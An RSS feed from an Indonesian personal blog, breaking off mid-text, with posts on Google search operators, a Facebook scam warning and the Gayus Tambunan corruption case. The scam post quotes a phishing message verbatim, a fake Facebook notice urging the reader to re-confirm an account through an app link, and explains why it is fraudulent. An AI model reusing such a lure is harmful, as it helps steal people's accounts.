<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2enclosuresfull.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:media="http://search.yahoo.com/mrss/" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-5446044059411239717</atom:id><lastBuildDate>Tue, 10 Jan 2012 02:00:41 +0000</lastBuildDate><category>mafia peradilan</category><category>POC</category><category>Cryptography</category><category>new gadget for blogger</category><category>mafia pajak</category><category>gunung sinabung meletus</category><category>CSS</category><category>mbah surip</category><category>tips kesehatan</category><category>michael jackson</category><category>security</category><category>trix Windows Xp</category><category>cerita</category><category>gayang malaysia</category><category>Programing</category><category>hacking</category><category>meta data</category><category>seraching</category><category>digital forensik</category><category>wordpress</category><category>FaceBook</category><category>letusan gunung merapi</category><category>JQuery</category><category>Pemprograman</category><category>sengketa indonesia malaysia</category><category>pilpres</category><category>indonesia menangis</category><category>SEO</category><category>info Tanah Datar</category><category>twitter</category><category>pengeboman hotel jw marriot</category><category>HTML</category><category>windows</category><category>remote desktop</category><category>gunugn sinabung</category><category>blogger hack</category><category>ubuntu</category><category>pathcing</category><category>Gayus Tambunan</category><category>widget</category><category>cyber law</category><category>google</category><category>koruptor</category><category>trik bloging</category><title>hanya sebuah blog</title><description /><link>http://naksangka.blogspot.com/</link><managingEditor>noreply@blogger.com (pandewa)</managingEditor><generator>Blogger</generator><openSearch:totalResults>96</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/naksangka" /><feedburner:info uri="naksangka" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><itunes:owner><itunes:email>noreply@blogger.com</itunes:email></itunes:owner><itunes:explicit>no</itunes:explicit><itunes:subtitle></itunes:subtitle><feedburner:emailServiceId>naksangka</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5446044059411239717.post-2689050879963971264</guid><pubDate>Fri, 25 Feb 2011 00:13:00 +0000</pubDate><atom:updated>2011-02-24T16:15:34.213-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">SEO</category><category domain="http://www.blogger.com/atom/ns#">seraching</category><category domain="http://www.blogger.com/atom/ns#">google</category><title>Teknik Pencarian Google</title><description>&lt;p&gt;&lt;a href="http://lh4.ggpht.com/_xxdfU1yNW68/TWb0nwW2G1I/AAAAAAAAAlw/MWZzbXhu9dg/s1600-h/seo%20google%20report%202010%5B5%5D.jpg"&gt;&lt;img style="background-image: none; border-bottom: 0px; border-left: 0px; margin: 0px 15px 5px 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="i found you!" border="0" alt="i found you!" src="http://lh4.ggpht.com/_xxdfU1yNW68/TWb0o4LSBmI/AAAAAAAAAl8/tb5Qi5Jtz4o/seo%20google%20report%202010_thumb%5B2%5D.jpg?imgmax=800" width="277" height="331" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;#1&lt;/p&gt;  &lt;p&gt;Pencarian di google adalah sangat sederhana, anda cukup memasukan kata yang ingin anda cari ke dalam textbox search google dan enter, google akan mencari page yang sesuai dengan yang anda cari.&lt;/p&gt;  &lt;p&gt;Seperti apa pencarian yang baik atau dengan kata lain bagaimana cara google menerjemahkan bahasa manusia kedalam query pencarian?&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;Kenyataan dalam pencarian google :&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Semua kata yang anda masukan kedalam textbox search google akan digunakan untuk pencarian. &lt;/li&gt;    &lt;li&gt;Pecarian google adalah case insensitive (tidak membedakan huruf kapital atau tidak) jadi anda tidak perlu menuliskan &amp;quot;Barack Obama&amp;quot; untuk pencarian &amp;quot;barack obama&amp;quot; karena dua frasa tersebut dianggap sama. &lt;/li&gt;    &lt;li&gt;     &lt;p&gt;Umumnya tanda baca seperti: @#$%^&amp;amp;*()=[]\ diabaikan oleh google.&lt;/p&gt;   &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Tips untuk pencarian yang lebih baik :&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Sederhanakan keyword, Misalnya anda ingin mencari kantor google di jakarta. anda cukup menggunakan keyword &amp;quot;google jakarta&amp;quot; tidak perlu anda menuliskan &amp;quot;dimanakah letak kantor google di jakarta?&amp;quot; &lt;/li&gt;    &lt;li&gt;Pikirkan bagaimana halaman yang anda ini cari ditulis didalam sebuah konten. Search Engine bukanlah manusia, Search engine mencocokan apa yang anda cari dengan konten dari halaman yang ada, Maka gunakanlah bahasa yang sering digunakan. misalnya : &amp;quot;mesin elektrik pembuat kopi&amp;quot; diganti dengan &amp;quot;coffee maker&amp;quot;. &lt;/li&gt;    &lt;li&gt;Jelaskan apa yang anda cari dengan syarat sedikit mungkin, misalnya : &amp;quot;laporan cuaca di jakarta hari ini&amp;quot; gantilah dengan &amp;quot;cuaca jakarta&amp;quot;. &lt;/li&gt;    &lt;li&gt;     &lt;p&gt;Pilihan kata penjelasan. Semakin unik kata penjelasan yang anda masukan, Makin relevan hasil yang akan anda dapatkan. contoh untuk kata restoran, masukan kata pejelasan sesuai yang anda maksud seperti restoran sunda, restoran eropa, restoran vegetarian, dan sebagainya.&lt;/p&gt;   &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Pada umumnya pencarian dasar ini sudah cukup untuk menemukan page yang anda cari, namun kadang anda memerlukan sesuatu yang lebih powerful.&lt;/p&gt;  &lt;p&gt;Prioritas&lt;/p&gt;  &lt;p&gt;Google mengenali prioritas pencarian, dengan menggunakan tanda &amp;quot;&amp;quot; misalanya anda ingin mencari dengan keyword : biografi &amp;quot;barack obama&amp;quot; maka pencarian anda akan diprioritaskan pada &amp;quot;barack obama&amp;quot;, namun hati-hati ketika menggunakan prioritas karena anda akan mengabaikan hasil dari konten lain yang mungkin relevan dengan keyword anda, Namun tidak sesuai dengan kata penegas/prioritas, dalam kasus ini misalnya &amp;quot;barack husain obama&amp;quot;.&lt;/p&gt;  &lt;p&gt;Pengkondisian terhadap kata yang tidak diginkan&lt;/p&gt;  &lt;p&gt;Tanda minus (-) yang disisipkan di depan dari kata pencarian akan mengexclude hasil dari pencarian yang mengandung kata tersebut misalnya, &amp;quot;search engine -google&amp;quot; query ini berarti anda mencari search engine selain google.&lt;/p&gt;  &lt;p&gt;#2&lt;/p&gt;  &lt;p&gt;Pencarian google #2 membahas bagaimana membuat query dengan hasil yang lebih spesifik, Jika di #1 kita membahas tentang : phrasa, perioritas, dan pengecualian kata; kali ini kita akan membahas tentang asterik, ketepatan kata, operator, punctuation, dan lain-lain.&lt;/p&gt;  &lt;p&gt;Asterik (*)&lt;/p&gt;  &lt;p&gt;Misalkan kita ingin mencari konten yang relatif tentang informasi indocomtech jakarta, jika kita menggunakan query ini : [indocomtech * jakarta] maka, anda akan mendapatkan result tentang indocomtech 2009 jakarta, indocomtech 2010 jakarta, indocomtech terbesar yang diselenggarakan di jakarta, dan sejenisnya.&lt;/p&gt;  &lt;p&gt;Minus (-)&lt;/p&gt;  &lt;p&gt;Bandingkan antara pengunaan query berikut ini, [sepeda fixie keren] dan [sepeda fixie keren -gaya], Jika query pertama menyajikan lis konten salah satunya video gaya keren sepeda fixie maka dengan query kedua lis tersebut tidak tersaji.&lt;/p&gt;  &lt;p&gt;Operarator OR, AND&lt;/p&gt;  &lt;p&gt;Kusus untuk menggunakan operator google menerapkan case sensitive, jadi akan menghasilkan informasi yang berbeda anatara kata kunci [uerope OR america] dan [uerope or america] begitu juga dengan AND.&lt;/p&gt;  &lt;p&gt;OR, digunakan untuk mencari kata yang relatif dengan kata kunci yang dibandingkan dikeduanya anda bisa mencoba dengan kata kunci [study in europe OR america] coba bandingankan dengan kata kunci [study in europe america]. AND, digunakan untuk mencari kata yang berkelanjutan dengan kata yang menerangkan di belakangnya.&lt;/p&gt;  &lt;p&gt;Tanda Baca / Punctuation&lt;/p&gt;  &lt;p&gt;Tidak semua tanda baca diabaikan, misalkan: [C++], [C#] yang mana kedua contoh tadi adalah nama dari bahasa pemrograman. Begitu juga dengan $ untuk menghasilkan pencarian lebih baik anda perlu mencantumkan $ untuk pencarian yang mencantumkan harga. sebagai contoh adalah [notebook $500] lebih baik dari [notebook 500 dolar]. Tanda _ tidak diabaikan asal sesuai dalam penggunaanya misalkan : [quick_short] atau fungsi-fungsi pemrograman yang banyak menggunakan tanda ini sebagai contoh : [str_replace]&lt;/p&gt;  &lt;p&gt;Kata yang biasa digunakan seperti a, an, the, for, who diabaikan oleh pencarian google, namun tetap ada pengecualian, misalkan anda mencari dengan kata kunci [the who] sebuah group band, atau [WHO] organisasi kesehatan PBB, atau [who is] yang merupakan website informasi domain.&lt;/p&gt;  &lt;p&gt;Anda bisa menerapkan kombinasi pecarian tersebut untuk mendapatkan hasil pencarian yang lebih relevan dengan informasi yang ingin ada dapatkan, selamat mencoba ^_^&lt;/p&gt;  &lt;p&gt;#3&lt;/p&gt;  &lt;p&gt;Pencarian google #3 membahas tentang Advance Operator atau Query yang mempunyai makna khusus bagi google lebih dari sekedar basic operator OR, AND, punctuatio, dan sejenisnya.&lt;/p&gt;  &lt;p&gt;Link&lt;/p&gt;  &lt;p&gt;Suatu saat anda ingin mengetahui dimana saja website anda di mention, atau website mana saja yang mengandung alamat domain anda, maka query ini bisa anda gunakan [link:assadotcom.blogspot.com], query ini akan menampilkan semua website yang memuat assadotcom.blogspot.com.&lt;/p&gt;  &lt;p&gt;Cache&lt;/p&gt;  &lt;p&gt;Pencarian dengan menggunakan operator cache akan membantu anda untuk mendapatkan informasi berdasarkan cache yang pernah dilakukan oleh google terhadap website yang anda maksud ditambah dengan highlight terhadap kata kunci yang anda masukan, serta versi text only yang bisa membantu jika anda bermasalah dengan kecepatan internet. contohnya sebagai berikut : [cache:assadotcom.blogspot.com video] query ini akan menampilkan cache google terhadap domain assadotcom.blogspot.com dengan highlight kata video.&lt;/p&gt;  &lt;p&gt;Site&lt;/p&gt;  &lt;p&gt;Site adalah operator yang sangat penting bagi semua orang, dengan operator ini anda bisa menjelajahi sebuah alamat domain website dengan keyword yang anda maksud. Caranya sangat mudah, masukan operator site kedalam query anda seperti berikut ini [motherboard site:assadotcom.blogspot.com], query ini jika diterjemahkan kedalam bahasa kita adalah cari halaman yang mengandung kata motherboard di website assadotcom.blogspot.com&lt;/p&gt;  &lt;p&gt;Filetype&lt;/p&gt;  &lt;p&gt;Bagi anda yang hobi mendownload komik, novel dalam format pdf, zip dan lain-lain, Mungkin operator berikut ini sangat membantu, Caranya adalah sebagai berikut : misalnya saya ingin mencari novel Sherlock Holmes dalam format pdf maka saya dapat menggunakan query ini [sherlock holmes filetype:pdf].&lt;/p&gt;  &lt;p&gt;Define&lt;/p&gt;  &lt;p&gt;Gunakan define untuk mencari sebuah definisi, contohnya adalah sebagai berikut [define:motherboard] query ini berarti anda mencari definisi dari kata motherboard, biasanya link pertama yang muncul adalah versi wikipedia yang memang menjadi acuan standar.&lt;/p&gt;  &lt;p&gt;Allintitle&lt;/p&gt;  &lt;p&gt;Jika anda ingin berkonsentarsi melakukan pencarian berdasakan judul, anda bisa menggunakan operator ini. Cara penggunaannya adalah sebagai berikut [allintitle: teknik pencarian di google], maka hanya halaman yang mempunyai judul yang relevan dengan kata kunci tersebut yang akan ditampilkan oleh google.&lt;/p&gt;  &lt;p&gt;Intitle&lt;/p&gt;  &lt;p&gt;Sedikit berbeda dengan Allintitle, Intitle akan mencari kata kunci belakang di dalam konten halaman, misalkan anda menggunakan query ini [intitle:google search] maka pencarian akan menyajikan informasi tentang halaman yang judulnya mengandung kata google dan konten yang berisi search baik di judul maupun di konten.&lt;/p&gt;  &lt;p&gt;Allinurl&lt;/p&gt;  &lt;p&gt;Kenyataan ini menjelaskan pentingnya anda mempunyai clean url dalam website anda, keuntungannya adalah halaman anda memungkinkan dicari berdasarkan alamat url anda. Contoh berikut ini menjelaskan hal tersebut [allinurl:teknik pencarian di google], dengan query tersebut google akan mencari halaman website yang mempunyai url mirip dengan kata kunci.&lt;/p&gt;  &lt;p&gt;Inurl&lt;/p&gt;  &lt;p&gt;Mirip dengan cara kerja Intitle, namun Inurl melakukan pencarian berdasarkan url dan relevansi konten berdasarkan kata kunci, sebagai contoh query berikut ini [inurl:google search], maka google akan melakukan pencarian berdasarkan url yang sesuai dengan kata kunci google dan judul+konten yang memuat kata kunci search.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5446044059411239717-2689050879963971264?l=naksangka.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/naksangka/~4/9SJcKe6LCzE" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/naksangka/~3/9SJcKe6LCzE/teknik-pencarian-google.html</link><author>noreply@blogger.com (pandewa)</author><media:thumbnail url="http://lh4.ggpht.com/_xxdfU1yNW68/TWb0o4LSBmI/AAAAAAAAAl8/tb5Qi5Jtz4o/s72-c/seo%20google%20report%202010_thumb%5B2%5D.jpg?imgmax=800" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://naksangka.blogspot.com/2011/02/teknik-pencarian-google.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5446044059411239717.post-6455109501807353489</guid><pubDate>Mon, 24 Jan 2011 08:31:00 +0000</pubDate><atom:updated>2011-01-27T04:38:22.679-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">cyber law</category><category domain="http://www.blogger.com/atom/ns#">FaceBook</category><category domain="http://www.blogger.com/atom/ns#">hacking</category><title>Teknik Penipuan Lewat Facebook</title><description>&lt;div align="justify"&gt;
Tadi siang, tepatnya jam 14:00 Saya menyempat untuk menarik diri dari segenab rutinitas yang menghampiri, langsung perhatian Saya tertuju kepada website social networking Facebook, setelah login dengan benar, pada kotak Masuk Saya ada pesan baru, entah dari siapa pengirimnya, langsung saja Saya klik untuk membaca pesan tersebut, berikut cuplikan dari pesan tersebut&lt;/div&gt;
&lt;a href="http://lh3.ggpht.com/_xxdfU1yNW68/TT0-aTU4GfI/AAAAAAAAAk8/gCoefgGfYc8/s1600-h/social%20enginering%5B10%5D.jpg"&gt;&lt;img alt="social enginering" border="0" height="351" src="http://lh5.ggpht.com/_xxdfU1yNW68/TT0-ftVxhiI/AAAAAAAAAlE/6hU9n7MuMEc/social%20enginering_thumb%5B8%5D.jpg?imgmax=800" style="background-image: none; border: 0px none; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="social enginering" width="421" /&gt;&lt;/a&gt;&lt;br /&gt;
Spontan, Saya kaget karena pada judul tertera bahwa akun Saya tidak sah (NOT VALID), baca dibaca, pada pesan tersebut jelas terlulis bahwa &lt;br /&gt;
&lt;blockquote&gt;
Please update your email address and re-active your account.     &lt;br /&gt;Our system found that your id is not valid. Up requires all users to use one email contacts active. Please complete and confirm the new contact's email and your data below:      &lt;br /&gt;http://apps.facebook.com/adm-repeated      &lt;br /&gt;Thank you,      &lt;br /&gt;Tim facebook &lt;/blockquote&gt;
Pada pesan tersebut, pengirim meminta Saya untuk kembali mengaktifkan email. nah, dari sini kecurigaan mulai timbul, ada beberapa alasan yang akan Saya coba kemukakan.&lt;br /&gt;
1. Akun email saya dikatakan tidak aktif, dan tidak falid. Apa benar akun Saya tidak falid ? untuk itu akan Saya coba melakukan pengujian, yang mana solusinya adalah Saya langsung menguji dengan login ke akun email Saya . Alhasil, Saya berhasil login. Jadi, untuk permasalahan akun email yang falid, tidak benar adanya, dan setau Saya pribadi, jika ada pemberitahuan seperti ini, facebook biasanya mengirimkan email langsung ke alamat email saya.&lt;br /&gt;
2. Pada pesan tersebut dikatakan bahwa email Saya tidak valid, dan diminta untuk melakukan pengisian dan mengkonfirmasi email kontak baru dan data Pada alamat http://apps.facebook.com/adm-repeated . Rasa curiga kian besar, dan tanda tanya kian membuncah dalam benak Saya, tapi tenang, kita tidak bisa langsung memfonis, apakah ini benar, atau memang ini adalah &lt;a href="http://naksangka.blogspot.com/2010/04/bagaimana-melakukan-teknik-social.html"&gt;tenik penipuan&lt;/a&gt;. &lt;br /&gt;
Untuk memastikan keasliannya, Saya mencoba masuk kehalaman resmi dari Adm Repeated seperti gambar dbawah ini. Alhasil Saya tidak mendapatkan informasi apa-apa. Bagaimana kesimpulannya ? menurut Saya ini adalah sebuah teknik penipuan dimana pelaku ingin mencuri email akan Saya yang mana terlebih dahulu Saya akan dipancing untuk masuk dalam aplikasi yang telah disediakan.&lt;br /&gt;
&lt;a href="http://lh4.ggpht.com/_xxdfU1yNW68/TT0-kZjpSAI/AAAAAAAAAlI/ZAXdT0D2n3E/s1600-h/adm%20repeated%5B6%5D.jpg"&gt;&lt;img alt="adm repeated" border="0" height="194" src="http://lh4.ggpht.com/_xxdfU1yNW68/TT0-oAvG5mI/AAAAAAAAAlM/q2VsY-lEg1s/adm%20repeated_thumb%5B4%5D.jpg?imgmax=800" style="background-image: none; border: 0px none; display: inline; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="adm repeated" width="384" /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div align="justify"&gt;
ingatkah Anda denga teknik Virus ILoveU.bat ? jika tidak, sempatkan untuk membaca artikel &lt;a href="http://naksangka.blogspot.com/2010/04/bagaimana-melakukan-teknik-social.html"&gt;berikut ini&lt;/a&gt;. Jujur saja, Saya pribadi langsung teringat akan bahaya social enginering ini, banyak hal yang akan digali oleh si pelaku melalui teknik ini, salah satunya adalah akun email kita.&lt;/div&gt;
&lt;div align="justify"&gt;
Beranjak dari pengalaman, tentunya kita akan lebih dewasa dalam pengambilan sebuah keputusan, itulah kenapa Saya tidak melakukan atau lebih tepatnya&amp;nbsp; masuk kepada aplikasi yang telah disediakan oleh si”pengirim”.&lt;/div&gt;
&lt;div align="justify"&gt;
Semoga artikel ini dapat membantu Anda untuk lebih berhati-hati untuk masa yang akan datang.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5446044059411239717-6455109501807353489?l=naksangka.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/naksangka/~4/j9WWi-51UU0" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/naksangka/~3/j9WWi-51UU0/teknik-penipuan-lewat-facebook.html</link><author>noreply@blogger.com (pandewa)</author><media:thumbnail url="http://lh5.ggpht.com/_xxdfU1yNW68/TT0-ftVxhiI/AAAAAAAAAlE/6hU9n7MuMEc/s72-c/social%20enginering_thumb%5B8%5D.jpg?imgmax=800" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://naksangka.blogspot.com/2011/01/teknik-penipuan-lewat-facebook.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5446044059411239717.post-5009110099420685871</guid><pubDate>Sun, 16 Jan 2011 16:31:00 +0000</pubDate><atom:updated>2011-01-16T09:30:10.149-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Gayus Tambunan</category><category domain="http://www.blogger.com/atom/ns#">mafia peradilan</category><category domain="http://www.blogger.com/atom/ns#">mafia pajak</category><category domain="http://www.blogger.com/atom/ns#">koruptor</category><title>Andai Aku Jadi Gayus Tambunan</title><description>Andai Aku Jadi Gayus Tambunan&lt;br /&gt;
publik kembali dihebohkan dengan Gayus, ya, siapa tak kenal Gayus, manusia serakah namun super :) kenapa tidak, banyah ulah dan tingkahnya dalam lapas yang mana bisa insaf namun malah main sogok menyogok,&amp;nbsp; ah buang basa basi itu kawan, tak ada yang dapat kau dapat kan dan harapkan dinegeri yang selalu bertalanjang dada ini.&lt;br /&gt;
adalah lagu Andai Aku Jadi Gayus Tambunan yang di nyanyikan oleh Bona. seorang mantan napi yang baru saja bebas dari lapas Gorontalo. Bona menciptkan lagu ini karena terinspirasi dengan pengalaman pribadinya saat menjalani proses hukum yang sangat berbeda dengan apa yang di alami ileh Gayus Tambunan&lt;br /&gt;
&lt;h1 style="font-weight: normal;"&gt;

&lt;span style="font-size: small;"&gt;Pelantun Lagu "Andai Aku Jadi Gayus" Diperiksa&lt;/span&gt;&lt;/h1&gt;
&lt;br /&gt;
&lt;div class="bd"&gt;
&lt;div class="content"&gt;
Gorontalo (ANTARA) - Kepolisian Daerah (Polda) Gorontalo telah 
memanggil dan memeriksa pelantun lagu "Andai Aku Jadi Gayus", Bona 
Paputungan.&lt;br /&gt;
Usai membuat laporan polisi di bagian Sentra Pelayanan Kepolisian 
(SPK), Bona menjalani pemeriksaan di bagian penyidik Reskrim Polda 
Gorontalo, sejak pukul 02.00 WIT Minggu dinihari.&lt;br /&gt;
Kepala Satuan (Kasat) Ops I Reskrim Polda Gorontalo, AKBP Haddra 
mengatakan, pemeriksaan yang dilakukan saat ini sebagai tahap awal.&lt;br /&gt;
Penyidik masih mengumpulkan informasi dari pelapor dan para saksi, 
kata Haddra, Minggu.&lt;br /&gt;
Terkait dugaan keterlibatan densus dalam aksi teror tersebut menurut
 Haddra, Polda Gorontalo masih perlu menghimpun keterangan guna 
dikembangkan ke tahap selanjutnya.&lt;br /&gt;
Terlalu dini untuk menyimpulkan, karena saat ini masih dalam tahap 
pembuatan Berita Acara Pemeriksaan, jelas Haddra.&lt;br /&gt;
Haddra pun belum dapat memastikan pelaku aksi teror melalui telepon,
 yang mengatasnamakan dirinya sebagai anggota densus.&lt;br /&gt;
Meski demikian Haddra berjanji, Polda Gorontalo akan segera mengusut
 aksi teror yang menimpa Bona Paputungan terkait lagu "Andai Aku Jadi 
Gayus".&lt;br /&gt;
&lt;br /&gt;
Berikut Lyrics dan Video Lagu tersebut&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;object class="BLOGGER-youtube-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="http://i.ytimg.com/vi/_82mLXXChKY/0.jpg" height="266" width="320"&gt;&lt;param name="movie" value="http://www.youtube.com/v/_82mLXXChKY?f=videos&amp;c=google-webdrive-0&amp;app=youtube_gdata" /&gt;

&lt;param name="bgcolor" value="#FFFFFF" /&gt;

&lt;embed width="320" height="266" src="http://www.youtube.com/v/_82mLXXChKY?f=videos&amp;c=google-webdrive-0&amp;app=youtube_gdata" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;span style="font-size: small;"&gt;download lagu andai aku jadi gayus melalui link berikut ini&lt;/span&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://www.4shared.com/audio/m8aA63R3/Andai_Aku_Jadi_Gayus__Kisah_Hi.html"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_xxdfU1yNW68/TTMrA7pfZPI/AAAAAAAAAk4/n4EFX2LzH_M/s1600/download.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;b&gt; &lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;Bona B.E. - Andai Aku Jadi Gayus Lyrics&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Sebelas maret diriku masuk penjara&lt;br /&gt;
Awalku menjalani proses masa tahanan&lt;br /&gt;
Hidup dipenjara sangat berat kurasakan&lt;br /&gt;
Badanku kurus karena beban pikiran&lt;br /&gt;
&lt;br /&gt;
Kita orang yang lemah tak punya daya apa apa&lt;br /&gt;
Tak bisa berbuat banyak seperti para koruptor&lt;br /&gt;
&lt;br /&gt;
Reff:&lt;br /&gt;
&lt;br /&gt;
Andai ku gayus tambunan yang bisa pergi ke bali&lt;br /&gt;
Semua keinginannya pasti bisa terpenuhi&lt;br /&gt;
Lucunya dinegeri ini hukuman bisa dibeli&lt;br /&gt;
Kita orang yang lemah pasrah akan keadaan&lt;br /&gt;
&lt;br /&gt;
Tujuh oktober ku bebas dari penjara&lt;br /&gt;
Menghirup udara segar lepaskan penderitaan&lt;br /&gt;
Wahai saudara dan para sahabatku&lt;br /&gt;
Lakukan yang terbaik jangan engkau salah arah&lt;br /&gt;
&lt;br /&gt;
Back to Reff&lt;br /&gt;
&lt;br /&gt;
Biarlah semua menjadi kenangan&lt;br /&gt;
kenangan yang pahit dalam hidup ini&lt;br /&gt;
&lt;br /&gt;
Back to Reff &lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5446044059411239717-5009110099420685871?l=naksangka.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/naksangka/~4/pYRO3EFFwLM" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/naksangka/~3/pYRO3EFFwLM/andai-aku-jadi-gayus-tambunan.html</link><author>noreply@blogger.com (pandewa)</author><media:thumbnail url="http://3.bp.blogspot.com/_xxdfU1yNW68/TTMrA7pfZPI/AAAAAAAAAk4/n4EFX2LzH_M/s72-c/download.jpg" height="72" width="72" /><thr:total>0</thr:total><enclosure url="http://www.youtube.com/v/_82mLXXChKY?f=videos&amp;c=google-webdrive-0&amp;app=youtube_gdata" length="1097" type="application/x-shockwave-flash" /><media:content url="http://www.youtube.com/v/_82mLXXChKY?f=videos&amp;c=google-webdrive-0&amp;app=youtube_gdata" fileSize="1097" type="application/x-shockwave-flash" /><itunes:explicit>no</itunes:explicit><itunes:subtitle>Andai Aku Jadi Gayus Tambunan publik kembali dihebohkan dengan Gayus, ya, siapa tak kenal Gayus, manusia serakah namun super :) kenapa tidak, banyah ulah dan tingkahnya dalam lapas yang mana bisa insaf namun malah main sogok menyogok,&amp;nbsp; ah buang basa </itunes:subtitle><itunes:author>noreply@blogger.com (pandewa)</itunes:author><itunes:summary>Andai Aku Jadi Gayus Tambunan publik kembali dihebohkan dengan Gayus, ya, siapa tak kenal Gayus, manusia serakah namun super :) kenapa tidak, banyah ulah dan tingkahnya dalam lapas yang mana bisa insaf namun malah main sogok menyogok,&amp;nbsp; ah buang basa basi itu kawan, tak ada yang dapat kau dapat kan dan harapkan dinegeri yang selalu bertalanjang dada ini. adalah lagu Andai Aku Jadi Gayus Tambunan yang di nyanyikan oleh Bona. seorang mantan napi yang baru saja bebas dari lapas Gorontalo. Bona menciptkan lagu ini karena terinspirasi dengan pengalaman pribadinya saat menjalani proses hukum yang sangat berbeda dengan apa yang di alami ileh Gayus Tambunan Pelantun Lagu "Andai Aku Jadi Gayus" Diperiksa Gorontalo (ANTARA) - Kepolisian Daerah (Polda) Gorontalo telah memanggil dan memeriksa pelantun lagu "Andai Aku Jadi Gayus", Bona Paputungan. Usai membuat laporan polisi di bagian Sentra Pelayanan Kepolisian (SPK), Bona menjalani pemeriksaan di bagian penyidik Reskrim Polda Gorontalo, sejak pukul 02.00 WIT Minggu dinihari. Kepala Satuan (Kasat) Ops I Reskrim Polda Gorontalo, AKBP Haddra mengatakan, pemeriksaan yang dilakukan saat ini sebagai tahap awal. Penyidik masih mengumpulkan informasi dari pelapor dan para saksi, kata Haddra, Minggu. Terkait dugaan keterlibatan densus dalam aksi teror tersebut menurut Haddra, Polda Gorontalo masih perlu menghimpun keterangan guna dikembangkan ke tahap selanjutnya. Terlalu dini untuk menyimpulkan, karena saat ini masih dalam tahap pembuatan Berita Acara Pemeriksaan, jelas Haddra. Haddra pun belum dapat memastikan pelaku aksi teror melalui telepon, yang mengatasnamakan dirinya sebagai anggota densus. Meski demikian Haddra berjanji, Polda Gorontalo akan segera mengusut aksi teror yang menimpa Bona Paputungan terkait lagu "Andai Aku Jadi Gayus". Berikut Lyrics dan Video Lagu tersebut download lagu andai aku jadi gayus melalui link berikut ini &amp;nbsp; Bona B.E. - Andai Aku Jadi Gayus Lyrics Sebelas maret diriku masuk penjara Awalku menjalani proses masa tahanan Hidup dipenjara sangat berat kurasakan Badanku kurus karena beban pikiran Kita orang yang lemah tak punya daya apa apa Tak bisa berbuat banyak seperti para koruptor Reff: Andai ku gayus tambunan yang bisa pergi ke bali Semua keinginannya pasti bisa terpenuhi Lucunya dinegeri ini hukuman bisa dibeli Kita orang yang lemah pasrah akan keadaan Tujuh oktober ku bebas dari penjara Menghirup udara segar lepaskan penderitaan Wahai saudara dan para sahabatku Lakukan yang terbaik jangan engkau salah arah Back to Reff Biarlah semua menjadi 